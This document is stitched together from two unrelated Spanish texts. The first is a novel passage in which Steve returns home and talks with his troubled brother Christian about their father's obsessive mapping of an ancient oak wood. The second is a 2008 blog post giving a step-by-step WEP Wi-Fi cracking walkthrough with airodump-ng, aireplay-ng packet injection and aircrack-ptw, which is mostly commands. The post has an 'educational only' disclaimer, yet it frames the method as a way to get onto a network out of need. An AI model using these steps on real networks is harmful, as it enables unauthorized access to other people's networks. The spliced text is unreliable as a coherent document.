—Me involucré demasiado —fue toda la respuesta de Christian. Me ocultaba algo, algo
de importancia fundamental. Se le notaba en el tono de voz, en la expresión hosca, casi
resentida. ¿Debía presionarle o no? Difícil decisión. Nunca me había sentido tan lejos de
mi propio hermano. Me pregunté si su comportamiento repercutía en Guiwenneth, la chica
con quien se había casado. Me pregunté qué clase de atmósfera estaría respirando la
pobre en Refugio del Roble.
Saqué el tema de la chica con precaución. Christian golpeó furioso los arbustos de la
alberca.
—Guiwenneth se ha ido —fue toda su respuesta. Me detuve, sobresaltado.
—¿Qué quieres decir, Chris? ¿Adonde ha ido?
—Simplemente se ha ido —replicó furioso, de mala gana—. Pertenecía a papá, se ha
ido, y no hay más que hablar.
—No sé qué quieres decir. ¿Dónde está? En tu carta parecías tan feliz...
—No debí escribirte sobre ella. Fue un error. Ahora, deja el tema, ¿vale?
Después de aquella réplica, me sentía cada vez más intranquilo con Christian.
Desde luego, le sucedía algo terrible, y era evidente que la partida de Guiwenneth
había contribuido en gran manera a aquel terrible cambio que no podía dejar de advertir.
Pero también sentí que había algo más. Y no podía saber qué era, a menos que Christian
hablara de ello.
—Lo siento —fueron las únicas palabras que conseguí formular.
—No lo sientas.
Caminamos en dirección al bosque, donde el suelo se volvía fangoso e inseguro
durante unos metros, antes de desaparecer en un pantano musgoso de piedras, raíces y
madera putrefacta. Los rayos del sol apenas conseguían atravesar el espeso follaje de los
árboles, y hacía frío. Los densos arbustos se movían con la brisa, y vi como el bote se
mecía ligeramente.
Christian siguió la dirección de mi mirada, pero no se fijó en el bote ni en la alberca.
Estaba perdido en algún lugar de sus propios pensamientos. Durante un breve instante, la
tristeza me atenazó al ver a mi hermano tan destruido en aspecto y actitud. Quería
desesperadamente tocarle el brazo, estrecharle, y era terrible, pero me daba miedo
hacerlo.
—¿Qué demonios te ha pasado, Chris? ¿Estás enfermo? —le pregunté con una voz
bastante serena. Por un momento no respondió.
—No estoy enfermo —dijo al final.
Dio una patada a una seta seca, que quedó convertida en un polvillo que la brisa
arrastró. Me miró con algo parecido a la resignación en su rostro obsesionado.
—He cambiado un poco, nada más. He retomado el trabajo del viejo. Quizá se me haya
pegado algo de su indiferencia.
—Si es así, quizá deberías dejarlo una temporada.
—¿Por qué?
—Porque la obsesión del viejo terminó por matarle. Y, por tu aspecto, sigues el mismo
camino.
Christian sonrió un instante, y lanzó el palo a la alberca, donde salpicó un poco y quedó
flotando en un charco de sucias algas verdes.
—Quizá valga la pena morir por lo que él buscaba..., aunque no lo encontrara.
No comprendí el tono dramático en la afirmación de Christian. El trabajo que tanto
había obsesionado a nuestro padre consistía en dibujar mapas del bosque, en buscar
pruebas de la existencia de sus antiguos pobladores. Había inventado toda una nueva
jerga para su propio uso, y consiguió dejarme completamente al margen, sin la menor
posibilidad de comprender su trabajo. Se lo dije a Christian.
—Es muy interesante, pero no tanto como crees —añadí.
—Hacía mucho, mucho más que dibujar mapas. Pero ¿recuerdas esos mapas, Steve?
Increíblemente detallados...
Recordaba uno con bastante claridad, el más grande de todos. Mostraba con gran
precisión los senderos y los caminos menos importantes, que atravesaban los grupos de
árboles y montículos pedregosos. Los claros estaban dibujados con precisión casi
obsesiva, cada uno numerado e identificado, y todo el bosque aparecía dividido en zonas
con nombre propio. Una vez, Chris y yo montamos un campamento en uno de los claros,
en el bosque, aunque no nos adentramos demasiado.
—Muchas veces intentamos adentrarnos más. ¿Recuerdas aquellas expediciones,
Chris? En cuanto terminaba el sendero profundo, nos perdíamos. Y nos asustábamos
mucho.
—Cierto —replicó Christian con voz tranquila, mientras me miraba de una manera
enigmática—. ¿Y si te dijera que el bosque nos impidió entrar? —añadió—, ¿Me creerías?
Contemplé los grupos de arbustos, árboles y sombras, donde apenas llegaba la luz del
sol.
—Supongo que, en cierto modo, lo hizo —respondí—. Nos impidió adentrarnos más
porque nos hizo tener miedo, porque hay pocos senderos y está lleno de piedras y
raíces... Es muy difícil caminar por ahí. ¿Te refieres a eso? ¿O a algo un poco más
siniestro?
—«Siniestro» no es la palabra que yo utilizaría —señaló Christian. Pero, por el
momento, no añadió nada más, Se agachó para recoger una hoja de un roble pequeño,
inmaduro, y la frotó entre el índice y el pulgar antes de aplastarla con el puño. Todo esto
sin dejar de mirar hacia el bosque.
—Éste es un bosque de robles, Steve. Un bosque virgen desde los tiempos en que
todo el país estaba cubierto de bosques de árboles caducos: robles, fresnos, saúcos,
serbales, espinos...
—Y todos los demás —le interrumpí con una sonrisa—. Recuerdo la lista que nos hacía
el viejo.
—Cierto. Y hay más de cinco kilómetros cuadrados de bosque desde aquí hasta
Grimiey. Cinco kilómetros cuadrados de auténtico bosque posterior a la Era Glaciar. Y ha
permanecido intacto, sin que nadie lo invadiera, durante miles de años.
Pareció despertar de un sueño, y me miró con gesto duro.
—Se resisten a cambiar —añadió.
—Siempre pensó que había jabalíes vivos ahí dentro —dije—. Recuerdo que una
noche oí algo, y él me convenció de que se trataba de un jabalí salvaje, de un enorme
jabalí que corría por el lindero del bosque, en busca de una hembra.
Christian echó a andar de vuelta hacia el embarcadero, y le seguí.
—Seguramente tenía razón. Si ha sobrevivido algún jabalí de la Edad Media, estará en
un bosque como éste.
Como estaba pensando en sucesos acaecidos muchos años antes, los recuerdos
fueron regresando muy despacio. Volví a ver imágenes de mi infancia: el sol abrasador
sobre la piel arañada por las zarzas, las excursiones de pesca a la alberca del molino, los
campamentos entre los árboles, los juegos, las exploraciones... y, una y otra vez, recordé
a Brezo.
Mientras volvíamos hacia el pisoteado sendero que llevaba al Refugio, discutimos
sobre la visión. Yo tenía nueve o diez años. Íbamos hacia el Arroyo Arisco a pescar, y
decidimos probar nuestros palos y cordeles en la alberca del molino con la vana
esperanza de atrapar a alguno de los peces depredadores que allí vivían. Cuando nos
acuclillamos junto al agua —sólo nos atrevíamos a salir con el bote si nos acompañaba
Alphonse—, vimos un movimiento entre los árboles, al otro lado de la orilla. Fue una
visión asombrosa, que nos dejó subyugados durante los meses siguientes..., además de
aterrorizarnos, desde luego. De pie, mirándonos, había un hombre vestido con pieles
marrones. Se ceñía con un ancho cinturón brillante, y la barba hirsuta, anaranjada, le
llegaba al pecho.
Llevaba unas ramitas en la cabeza, sujetas a la coronilla con una tira de cuero.
Nos contempló sólo un instante, antes de volver a la oscuridad. No oímos ni un ruido
durante aquel lapso, ni cuando se acercó, ni cuando desapareció.
Corrimos de vuelta a la casa, y llegamos ya algo más tranquilos. Christian concluyó que
debía de tratarse del viejo Alphonse, que nos quería tomar el pelo.
Cuando le mencionó a nuestro padre lo que habíamos visto, éste reaccionó casi con
furia, aunque Christian creía recordar que se había puesto nervioso, y que si nos gritó fue
por eso, no por habernos acercado a la alberca prohibida. Fue nuestro padre quien
empezó a llamarle «el Brezo», refiriéndose a las ramas de brezo que llevaba en la
cabeza. Y, poco después de que se lo contáramos, desapareció en el bosque durante
casi dos semanas.
—Fue la vez que volvió herido, ¿recuerdas? Ya habíamos llegado a Refugio del Roble,
y Christian me abrió la puerta de la valla.
—La herida de flecha. La flecha gitana. Dios, fue un día terrible.
—El primero de muchos.
Advertí que la mayor parte de la hiedra había desaparecido de los muros de la casa.
Ahora era un lugar gris, con pequeñas ventanas sin cortinas entre el ladrillo oscuro. El
tejado, con sus tres esbeltas chimeneas, quedaba parcialmente oculto entre las ramas de
una enorme haya vieja. El patio y los jardines estaban sucios, descuidados; el corral de
los pollos, vacío; los establos para animales, deteriorados, casi en ruinas. Desde luego,
Chris lo había descuidado todo. Pero, cuando atravesé el umbral, me sentí como si nunca
hubiera estado fuera de allí. La casa olía a comida rancia y a cloro, y casi pude ver la
esbelta silueta de mi madre, limpiando la enorme mesa de pino de la cocina, con los gatos
a su alrededor, tendidos en el suelo de losetas rojas.
Christian estaba tenso otra vez. Me miraba de esa manera inquieta que delataba su
intranquilidad. Supuse que aún no sabía si alegrarse o enfadarse conmigo por haber
vuelto a casa. Por un momento, me sentí como un intruso.
—¿Por qué no deshaces las maletas y te refrescas un poco? —me dijo—. Puedes
instalarte en tu vieja habitación. Supongo que estará mal ventilada, pero no tardará en
airearse. Luego, cuando bajes, podemos comer algo. En cuanto tomemos el té,
tendremos todo el tiempo del mundo para charlar.
Sonrió, y me pareció que era un intento de hacer un chiste. Pero siguió hablando
rápidamente, mientras me miraba con frialdad.
—Porque, si te vas a quedar en casa una temporada, más vale que sepas lo que está
pasando aquí. No quiero que te entrometas en esto, ni en lo que estoy haciendo, Steve.
—No me meteré en tu vida, Chris...
—¿No? Ya veremos. No negaré que tu presencia me pone nervioso. Pero, ya que has
venido...
Se detuvo y, por un momento, pareció casi avergonzado.
—Bueno, ya hablaremos.
Crackin WEP: Chingarte la WEP de una Wi-Fi
lunes, 1 de septiembre de 2008
Por necesidad de una red trabajando me puse a buscar como acceder a una red Wi-Fi protegida con clave WEP (Wired Equivalent Privacy) y me digamos que no son especialmente seguras. Existen programas como aircrack-ptw (http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw) permiten obtener la clave en unos pocos minutos, por lo que muchos ya recomiendan utilizar sistemas más avanzados como WPA o WPA2. En la web de la Universidad de Darmstadt explican cómo funciona este software, que analiza los paquetes de datos para capturar la contraseña. Con 40.000 paquetes, que se pueden obtener en menos de un minuto, las probabilidades de extraer la clave son de un 50%.
Hay otras formas de establecer dicha conexion. Aqui pongo una con base LINUX, que encontre por ahi:
Nota: Esto es para fines de investigación, aprendizaje, y verificación de seguridad. No debe usarse para vulnerar redes de otras personas. Atacar y vulnerar redes (u otros recursos) es malo, e ilegal.
Aqui pongo un "how to" en http://foro.seguridadwireless.net/index.php?topic=3227.0 que se uso como base.
A continuación, les explico los pasos a seguir para romper WEP.
Necesitamos una distribución de linux que podemos encontrar en http://www.comprawifi.net/public/wifiway/0.6/wifiway-0.6.iso. Bajamos la imagen del CD, y la quemamos.
Iniciamos la máquina con WifiWay (debe estar configurada para permitir iniciar desde CD/DVD).
Una vez iniciada, iniciamos el entorno gráfico mediante el comando:
startx
Ingresamos el canal en el que está el AP (Access Point) en la placa de red.
echo 'CANAL_DE_CAPTURA' > /sys/class/net/wifi0/device/channel
Obtenemos el BSSID, el canal, y el ESSID.
airodump-ng rtap0
Cerramos la ejecución con CONTROL-C, y utilizamos configuramos el BSSID (un número hexadecimal de 6 posiciones) en la placa de red.
echo 'BSSID_DEL_ACCESS_POINT' > /sys/class/net/wifi0/device/bssid
Una vez hecho esto, iniciamos la captura.
airodump-ng -c CANAL_DE_CAPTURA -w ARCHIVO_CAPTURA rtap0
Abrimos otra ventana y configuramos la velocidad a 2 mbps:
echo '2' > /sys/class/net/wifi0/device/rate
Subimos la placa de red.
ifconfig wifi0 up
Averiguamos la MAC address, son los 12 primeros numeros de HWaddr
ifconfig
Iniciamos una asociación con el AP.
aireplay-ng -1 0 -a BSSID_DEL_ACCESS_POINT -h MAC_ADDRESS_WIFI -e ESSID_DEL_ACCESSPOINT wifi0
Abrimos otra consola y ponemos para inyectar tráfico.
aireplay-ng -3 -b BSSID_DEL_ACCESS_POINT -e ESSID_DEL_ACCESSPOINT -h MAC_ADDRESS_WIFI wifi0
Esto debería aumentar los #data en la ventana de captura (pasa un momento antes que empiece a aumentar).
Cuando tengamos mas de 100.000 podemos extraer la clave ejecutando:
aircrack-ptw ARCHIVO_CAPTURA.cap
Esto debería encontrar la clave de red en formato hexadecimal.
Nota: En todos los comandos anteriores, wordpress convierte automáticamente las comillas a comillas formateadas. Por favor usar comillas simples.
Basado en el manual de =Tuxero=
Espero que esto haya sido de utilidad y nuevamente tomado de una forma EDUCACIONAL.
=ZeroProject=